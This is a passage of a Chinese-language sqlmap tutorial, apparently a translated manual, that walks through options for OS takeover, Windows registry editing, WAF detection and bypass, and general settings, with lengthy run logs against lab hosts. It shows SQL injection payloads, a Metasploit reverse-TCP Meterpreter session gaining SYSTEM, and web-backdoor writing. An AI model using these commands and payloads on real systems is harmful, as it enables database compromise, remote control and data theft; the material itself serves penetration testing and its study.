[hh:mm:12]
[INFO]
checking if
UDF 'sys_exec'
already exist
[hh:mm:12]
[INFO]
creating UDF
'sys_eval' from
the binary UDF
file
[hh:mm:12]
[INFO]
creating UDF
'sys_exec' from
the binary UDF
file
do
you want to
retrieve the command
standard output?
[Y/n/a]
y
command standard output:
'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
[hh:mm:19]
[INFO]
cleaning up the
database management
system
do
you want to
remove UDF
'sys_eval'?
[Y/n]
y
do you
want to
remove UDF
'sys_exec'?
[Y/n]
y
[hh:mm:23]
[INFO]
database management
system cleanup finished
[hh:mm:23]
[WARNING]
remember that
UDF shared object
files saved on
the file system
can
only
be deleted manually
|
用--os-shell參數也可以模擬一個真實的shell,可以輸入你想執行的命令。
當不能執行多語句的時候(比如php或者asp的後端數據庫爲MySQL時),仍然可能使用INTO OUTFILE寫進可寫目錄,來創建一個web後門。支持的語言:
1
2
3
4
|
1、ASP
2、ASP.NET
3、JSP
4、PHP
|
Meterpreter配合使用
參數:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path
當數據庫爲MySQL,PostgreSQL或Microsoft SQL Server,並且當前用戶有權限使用特定的函數,可以在數據庫與攻擊者直接建立TCP連接,這個連接可以是一個交互式命令行的Meterpreter會話,sqlmap根據Metasploit生成shellcode,並有四種方式執行它:
1
2
3
4
|
1、通過用戶自定義的sys_bineval()函數在內存中執行Metasplit的shellcode,支持MySQL和PostgreSQL數據庫,參數:--os-pwn。
2、通過用戶自定義的函數上傳一個獨立的payload執行,MySQL和PostgreSQL的sys_exec()函數,Microsoft
SQL Server的xp_cmdshell()函數,參數:--os-pwn。
3、通過SMB攻擊(MS08-068)來執行Metasploit的shellcode,當sqlmap獲取到的權限足夠高的時候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通過溢出Microsoft SQL
Server 2000和2005的sp_replwritetovarbin存儲過程(MS09-004),在內存中執行Metasploit的payload,參數:--os-bof
|
列舉一個MySQL例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
|
$
python sqlmap.py
-u
"http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1"
--os-pwn
--msf-path
/software/metasploit
[...]
[hh:mm:31]
[INFO]
the back-end
DBMS is
MySQL
web
server operating
system:
Windows 2003
web application technology:
ASP.NET,
ASP.NET
4.0.30319,
Microsoft IIS
6.0
back-end
DBMS:
MySQL 5.0
[hh:mm:31]
[INFO]
fingerprinting the
back-end
DBMS operating
system
[hh:mm:31]
[INFO]
the back-end
DBMS operating
system is
Windows
how do
you want to
establish the
tunnel?
[1]
TCP:
Metasploit Framework
(default)
[2]
ICMP:
icmpsh -
ICMP tunneling
&gt;
[hh:mm:32]
[INFO]
testing if
current user is
DBA
[hh:mm:32]
[INFO]
fetching current
user
what is
the back-end
database management
system architecture?
[1]
32-bit
(default)
[2]
64-bit
&gt;
[hh:mm:33]
[INFO]
checking if
UDF 'sys_bineval'
already exist
[hh:mm:33]
[INFO]
checking if
UDF 'sys_exec'
already exist
[hh:mm:33]
[INFO]
detecting back-end
DBMS version from
its banner
[hh:mm:33]
[INFO]
retrieving MySQL
base directory absolute
path
[hh:mm:34]
[INFO]
creating UDF
'sys_bineval'
from the binary
UDF file
[hh:mm:34]
[INFO]
creating UDF
'sys_exec' from
the binary UDF
file
how do
you want to
execute the Metasploit
shellcode on the
back-end
database underlying
operating
system?
[1]
Via UDF
'sys_bineval'
(in-memory
way,
anti-forensics,
default)
[2]
Stand-alone
payload stager
(file system
way)
&gt;
[hh:mm:35]
[INFO]
creating Metasploit
Framework multi-stage
shellcode
which connection type
do you
want to
use?
[1]
Reverse TCP:
Connect back from
the database host
to this
machine (default)
[2]
Reverse TCP:
Try to
connect back from
the database host
to this
machine,
on all ports
between
the specified
and 65535
[3]
Bind TCP:
Listen on the
database host
for a
connection
&gt;
which is
the local address?
[192.168.136.1]
which
local port number
do you
want to
use?
[60641]
which payload do
you want to
use?
[1]
Meterpreter (default)
[2]
Shell
[3]
VNC
&gt;
[hh:mm:40]
[INFO]
creation in
progress ...
done
[hh:mm:43]
[INFO]
running Metasploit
Framework command line
interface locally,
please wait..
_
| |
o
_ _
_ _
_|_
__,
, _
| |
__
_|_
/
|/
|/
| |/
| /
| /
\_|/
\_|/
/ \_|
|
| |
|_/|__/|_/\_/|_/
\/
|__/
|__/\__/
|_/|_/
/|
\|
=[
metasploit v3.7.0-dev
[core:3.7
api:1.0]
+ --
--=[
674 exploits
- 351
auxiliary
+
-- --=[
217 payloads
- 27
encoders -
8 nops
=[
svn r12272 updated
4 days
ago (2011.04.07)
PAYLOAD =&gt;
windows/meterpreter/reverse_tcp
EXITFUNC
=&gt;
thread
LPORT =&gt;
60641
LHOST
=&gt;
192.168.136.1
[*]
Started reverse
handler on
192.168.136.1:60641
[*]
Starting the payload
handler...
[hh:mm:48]
[INFO]
running Metasploit
Framework shellcode remotely
via UDF
'sys_bineval',
please
wait..
[*]
Sending stage
(749056
bytes)
to 192.168.136.129
[*]
Meterpreter session
1 opened
(192.168.136.1:60641
-&gt;
192.168.136.129:1689)
at Mon Apr
11
hh:mm:52
+0100
2011
meterpreter &gt;
Loading extension
espia...success.
meterpreter
&gt;
Loading extension
incognito...success.
meterpreter &gt;
[-]
The 'priv'
extension has
already been loaded.
meterpreter
&gt;
Loading extension
sniffer...success.
meterpreter &gt;
System Language
: en_US
OS
: Windows
.NET Server
(Build
3790,
Service Pack
2).
Computer :
W2K3R2
Architecture
: x86
Meterpreter :
x86/win32
meterpreter
&gt;
Server username:
NT AUTHORITY\SYSTEM
meterpreter &gt;
ipconfig
MS TCP Loopback
interface
Hardware
MAC:
00:00:00:00:00:00
IP Address
: 127.0.0.1
Netmask
: 255.0.0.0
Intel(R)
PRO/1000
MT Network Connection
Hardware MAC:
00:0c:29:fc:79:39
IP
Address :
192.168.136.129
Netmask :
255.255.255.0
meterpreter
&gt;
exit
[*]
Meterpreter session
1 closed.
Reason:
User exit
|
默認情況下MySQL在Windows上以SYSTEM權限運行,PostgreSQL在Windows與Linux中是低權限運行,Microsoft SQL Server 2000默認是以SYSTEM權限運行,Microsoft SQL Server 2005與2008大部分是以NETWORK SERVICE有時是LOCAL SERVICE。
對Windows註冊表操作
當數據庫爲MySQL,PostgreSQL或Microsoft SQL Server,並且當前web應用支持堆查詢。 當然,當前連接數據庫的用戶也需要有權限操作註冊表。
讀取註冊表值
參數:--reg-read
寫入註冊表值
參數:--reg-add
刪除註冊表值
參數:--reg-del
註冊表輔助選項
參數:--reg-key,--reg-value,--reg-data,--reg-type
需要配合之前三個參數使用,例子:
1
|
$
python sqlmap.py
-u
http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
|
常規參數
從sqlite中讀取session
參數:-s
sqlmap對每一個目標都會在output路徑下自動生成一個SQLite文件,如果用戶想指定讀取的文件路徑,就可以用這個參數。
保存HTTP(S)日誌
參數:-t
這個參數需要跟一個文本文件,sqlmap會把HTTP(S)請求與響應的日誌保存到那裏。
非交互模式
參數:--batch
用此參數,不需要用戶輸入,將會使用sqlmap提示的默認值一直運行下去。
強制使用字符編碼
參數:--charset
不使用sqlmap自動識別的(如HTTP頭中的Content-Type)字符編碼,強制指定字符編碼如:
1
|
--charset=GBK
|
爬行網站URL
參數:--crawl
sqlmap可以收集潛在的可能存在漏洞的連接,後面跟的參數是爬行的深度。
例子:
1
2
3
4
5
6
7
8
9
|
$
python sqlmap.py
-u
"http://192.168.21.128/sqlmap/mysql/"
--batch
--crawl=3
[...]
[xx:xx:53]
[INFO]
starting crawler
[xx:xx:53]
[INFO]
searching for
links with depth
1
[xx:xx:53]
[WARNING]
running in
a single-thread
mode.
This could
take a
while
[xx:xx:53]
[INFO]
searching for
links with depth
2
[xx:xx:54]
[INFO]
heuristics detected
web page charset
'ascii'
[xx:xx:00]
[INFO]
42/56
links visited
(75%)
[...]
|
規定輸出到CSV中的分隔符
參數:--csv-del
當dump保存爲CSV格式時(--dump-format=CSV),需要一個分隔符默認是逗號,用戶也可以改爲別的 如:
1
|
--csv-del=";"
|
DBMS身份驗證
參數:--dbms-cred
某些時候當前用戶的權限不夠,做某些操作會失敗,如果知道高權限用戶的密碼,可以使用此參數,有的數據庫有專門的運行機制,可以切換用戶如Microsoft SQL Server的OPENROWSET函數
定義dump數據的格式
參數:--dump-format
輸出的格式可定義爲:CSV,HTML,SQLITE
預估完成時間
參數:--eta
可以計算注入數據的剩餘時間。
例如Oracle的布爾型盲注:
1
2
3
4
5
6
7
8
|
$
python sqlmap.py
-u
"http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1"
-b
--eta
[...]
[hh:mm:01]
[INFO]
the back-end
DBMS is
Oracle
[hh:mm:01]
[INFO]
fetching banner
[hh:mm:01]
[INFO]
retrieving the
length of query
output
[hh:mm:01]
[INFO]
retrieved:
64
17%
[========>
] 11/64
ETA 00:19
|
然後:
1
2
3
4
5
6
|
100%
[===================================================]
64/64
[hh:mm:53]
[INFO]
retrieved:
Oracle Database
10g Enterprise
Edition Release
10.2.0.1.0 -
Prod
web application technology:
PHP 5.2.6,
Apache 2.2.9
back-end
DBMS:
Oracle
banner:
'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
|
sqlmap先輸出長度,預計完成時間,顯示百分比,輸出字符
刷新session文件
參數:--flush-session
如果不想用之前緩存這個目標的session文件,可以使用這個參數。 會清空之前的session,重新測試該目標。
自動獲取form表單測試
參數:--forms
如果你想對一個頁面的form表單中的參數測試,可以使用-r參數讀取請求文件,或者通過--data參數測試。 但是當使用--forms參數時,sqlmap會自動從-u中的url獲取頁面中的表單進行測試。
忽略在會話文件中存儲的查詢結果
參數:--fresh-queries
忽略session文件保存的查詢,重新查詢。
使用DBMS的hex函數
參數:--hex
有時候字符編碼的問題,可能導致數據丟失,可以使用hex函數來避免:
針對PostgreSQL例子:
1
2
3
4
5
6
7
8
9
|
$
python sqlmap.py
-u
"http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1"
--banner
--hex
-v
3 --parse-errors
[...]
[xx:xx:14]
[INFO]
fetching banner
[xx:xx:14]
[PAYLOAD]
1 AND
5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION()
AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58))
AS NUMERIC)
[xx:xx:15]
[INFO]
parsed error message:
'pg_query() [<a href='function.pg-query'>function.pg-query</a>]:
Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:"
in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'
[xx:xx:15]
[INFO]
retrieved:
PostgreSQL 8.3.9
on i486-pc-linux-gnu,
compiled by
GCC gcc-4.3.real
(Debian
4.3.2-1.1)
4.3.2
[...]
|
自定義輸出的路徑
參數:--output-dir
sqlmap默認把session文件跟結果文件保存在output文件夾下,用此參數可自定義輸出路徑 例如:--output-dir=/tmp
從響應中獲取DBMS的錯誤信息
參數:--parse-errors
有時目標沒有關閉DBMS的報錯,當數據庫語句錯誤時,會輸出錯誤語句,用詞參數可以會顯出錯誤信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$
python sqlmap.py
-u
"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"
--parse-errors
[...]
[11:12:17]
[INFO]
ORDER BY technique
seems to
be usable.
This should
reduce the time
needed to
find the right
number of query
columns.
Automatically extending
the range for
current UNION
query injection technique
test
[11:12:17]
[INFO]
parsed error message:
'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17]
[INFO]
parsed error message:
'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17]
[INFO]
parsed error message:
'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17]
[INFO]
target URL appears
to have
3 columns
in query
[...]
|
其他的一些參數
使用參數縮寫
參數:-z
有使用參數太長太複雜,可以使用縮寫模式。 例如:
1
|
python
sqlmap.py
--batch
--random-agent
--ignore-proxy
--technique=BEU
-u
"www.target.com/vuln.php?id=1"
|
可以寫成:
1
|
python
sqlmap.py
-z
"bat,randoma,ign,tec=BEU"
-u
"www.target.com/vuln.php?id=1"
|
還有:
1
|
python
sqlmap.py
--ignore-proxy
--flush-session
--technique=U
--dump
-D
testdb -T
users -u
"www.target.com/vuln.php?id=1"
|
可以寫成:
1
|
python
sqlmap.py
-z
"ign,flu,bat,tec=U,dump,D=testdb,T=users"
-u
"www.target.com/vuln.php?id=1"
|
成功SQL注入時警告
參數:--alert
設定會發的答案
參數:--answers
當希望sqlmap提出輸入時,自動輸入自己想要的答案可以使用此參數: 例子:
1
2
3
4
5
6
|
$
python sqlmap.py
-u
"http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E
--answers="extending=N"
--batch
[...]
[xx:xx:56]
[INFO]
testing for
SQL injection
on GET parameter
'id'
heuristic (parsing)
test showed that
the back-end
DBMS could be
'MySQL'.
Do you
want to
skip test payloads
specific for
other DBMSes?
[Y/n]
Y
[xx:xx:56]
[INFO]
do you
want to
include all tests
for 'MySQL'
extending provided
level (1)
and risk
(1)?
[Y/n]
N
[...]
|
發現SQL注入時發出蜂鳴聲
參數:--beep
發現sql注入時,發出蜂鳴聲。
啓發式檢測WAF/IPS/IDS保護
參數:--check-waf
WAF/IPS/IDS保護可能會對sqlmap造成很大的困擾,如果懷疑目標有此防護的話,可以使用此參數來測試。 sqlmap將會使用一個不存在的參數來注入測試
例如:
1
|
&foobar=AND
1=1
UNION ALL SELECT
1,2,3,table_name
FROM information_schema.tables
WHERE 2>1
|
如果有保護的話可能返回結果會不同。
清理sqlmap的UDF(s)和表
參數:--cleanup
清除sqlmap注入時產生的udf與表。
禁用彩色輸出
參數:--disable-coloring
sqlmap默認彩色輸出,可以使用此參數,禁掉彩色輸出。
使用指定的Google結果頁面
參數:--gpage
默認sqlmap使用前100個URL地址作爲注入測試,結合此選項,可以指定頁面的URL測試。
使用HTTP參數污染
參數:-hpp
HTTP參數污染可能會繞過WAF/IPS/IDS保護機制,這個對ASP/IIS與ASP.NET/IIS平臺很有效。
測試WAF/IPS/IDS保護
參數:--identify-waf
sqlmap可以嘗試找出WAF/IPS/IDS保護,方便用戶做出繞過方式。目前大約支持30種產品的識別。
例如對一個受到ModSecurity WAF保護的MySQL例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
$
python sqlmap.py
-u
"http://192.168.21.128/sqlmap/mysql/get_int.php?id=1"
--identify-waf
-v
3
[...]
[xx:xx:23]
[INFO]
testing connection
to the
target URL
[xx:xx:23]
[INFO]
heuristics detected
web page charset
'ascii'
[xx:xx:23]
[INFO]
using WAF scripts
to detect
backend WAF/IPS/IDS
protection
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'USP Secure Entry Server (United Security Providers)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'BinarySEC Web Application Firewall (BinarySEC)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'Hyperguard Web Application Firewall (art of defence Inc.)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'Cisco ACE XML Gateway (Cisco Systems)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'TrafficShield (F5 Networks)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'KONA Security Solutions (Akamai Technologies)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'CloudFlare Web Application Firewall (CloudFlare)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'Barracuda Web Application Firewall (Barracuda Networks)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'webApp.secure (webScurity)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'Proventia Web Application Security (IBM)'
[xx:xx:23]
[DEBUG]
declared web page
charset 'iso-8859-1'
[xx:xx:23]
[DEBUG]
page not
found (404)
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'KS-WAF (Knownsec)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'NetScaler (Citrix Systems)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'Jiasule Web Application Firewall (Jiasule)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'WebKnight Application Firewall (AQTRONIX)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'AppWall (Radware)'
[xx:xx:23]
[DEBUG]
checking for
WAF/IDS/IPS
product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
[xx:xx:23]
[CRITICAL]
WAF/IDS/IPS
identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'.
Please consider
usage of tamper
scripts (option
'--tamper')
[...]
|
模仿智能手機
參數:--mobile
有時服務端只接收移動端的訪問,此時可以設定一個手機的User-Agent來模仿手機登陸。
例如:
1
2
3
4
5
6
7
8
9
10
11
12
|
$
python sqlmap.py
-u
"http://www.target.com/vuln.php?id=1"
--mobile
[...]
which
smartphone do
you want sqlmap
to imitate
through HTTP User-Agent
header?
[1]
Apple iPhone
4s (default)
[2]
BlackBerry 9900
[3]
Google Nexus
7
[4]
HP iPAQ
6365
[5]
HTC Sensation
[6]
Nokia N97
[7]
Samsung Galaxy
S
>
1
[...]
|
安全的刪除output目錄的文件
參數:--purge-output
有時需要刪除結果文件,而不被恢復,可以使用此參數,原有文件將會被隨機的一些文件覆蓋。
例如:
1
2
3
4
5
6
7
8
9
10
|
$
python sqlmap.py
--purge-output
-v
3
[...]
[xx:xx:55]
[INFO]
purging content
of directory
'/home/user/sqlmap/output'...
[xx:xx:55]
[DEBUG]
changing file
attributes
[xx:xx:55]
[DEBUG]
writing random
data to
files
[xx:xx:55]
[DEBUG]
truncating files
[xx:xx:55]
[DEBUG]
renaming filenames
to random
values
[xx:xx:55]
[DEBUG]
renaming directory
names to
random values
[xx:xx:55]
[DEBUG]
deleting the whole
directory tree
[...]
|
啓發式判斷注入
參數:--smart
有時對目標非常多的URL進行測試,爲節省時間,只對能夠快速判斷爲注入的報錯點進行注入,可以使用此參數。
例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
$
python sqlmap.py
-u
"http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1"
--batch
--smart
[...]
[xx:xx:14]
[INFO]
testing if
GET parameter
'ca' is
dynamic
[xx:xx:14]
[WARNING]
GET parameter
'ca' does
not appear
dynamic
[xx:xx:14]
[WARNING]
heuristic (basic)
test shows that
GET parameter
'ca' might
not be
injectable
[xx:xx:14]
[INFO]
skipping GET parameter
'ca'
[xx:xx:14]
[INFO]
testing if
GET parameter
'user' is
dynamic
[xx:xx:14]
[WARNING]
GET parameter
'user' does
not appear
dynamic
[xx:xx:14]
[WARNING]
heuristic (basic)
test shows that
GET parameter
'user' might
not be
injectable
[xx:xx:14]
[INFO]
skipping GET parameter
'user'
[xx:xx:14]
[INFO]
testing if
GET parameter
'id' is
dynamic
[xx:xx:14]
[INFO]
confirming that
GET parameter
'id' is
dynamic
[xx:xx:14]
[INFO]
GET parameter
'id' is
dynamic
[xx:xx:14]
[WARNING]
reflective value(s)
found and
filtering out
[xx:xx:14]
[INFO]
heuristic (basic)
test shows that
GET parameter
'id' might
be injectable
(possible DBMS:
'MySQL')
[xx:xx:14]
[INFO]
testing for
SQL injection
on GET parameter
'id'
heuristic
(parsing)
test showed that
the back-end
DBMS could be
'MySQL'.
Do you
want to
skip test payloads
specific for
other DBMSes?
[Y/n]
Y
do you
want to
include all tests
for 'MySQL'
extending provided
level (1)
and risk
(1)?
[Y/n]
Y
[xx:xx:14]
[INFO]
testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14]
[INFO]
GET parameter
'id' is
'AND boolean-based blind - WHERE or HAVING clause'
injectable
[xx:xx:14]
[INFO]
testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[xx:xx:14]
[INFO]
GET parameter
'id' is
'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
injectable
[xx:xx:14]
[INFO]
testing 'MySQL inline queries'
[xx:xx:14]
[INFO]
testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14]
[INFO]
testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14]
[INFO]
testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24]
[INFO]
GET parameter
'id' is
'MySQL > 5.0.11 AND time-based blind'
injectable
[xx:xx:24]
[INFO]
testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24]
[INFO]
automatically extending
ranges for
UNION query injection
technique tests
as there
is at
least one other
potential injection
technique found
[xx:xx:24]
[INFO]
ORDER BY technique
seems to
be usable.
This should
reduce the time
needed to
find the right
number of query
columns.
Automatically extending
the range for
current UNION
query injection technique
test
[xx:xx:24]
[INFO]
target URL appears
to have
3 columns
in query
[xx:xx:24]
[INFO]
GET parameter
'id' is
'MySQL UNION query (NULL) - 1 to 20 columns'
injectable
[...]
|
初級用戶嚮導參數
參數:--wizard 面向初級用戶的參數,可以一步一步教你如何輸入針對目標註入。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
$
python sqlmap.py
--wizard
sqlmap/1.0-dev-2defc30
- automatic
SQL injection
and database
takeover tool
http://sqlmap.org
[!]
legal disclaimer:
Usage of sqlmap
for attacking
targets without
prior mutual consent
is illegal.
It is
the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:25:26
Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1
sqlmap is running, please wait..
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft
SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft
SQL Server' extending provided level (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2986=2986
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user: 'sa'
current database: 'testdb'
current
user is
DBA:
True
[*]
shutting down
at 11:25:52
|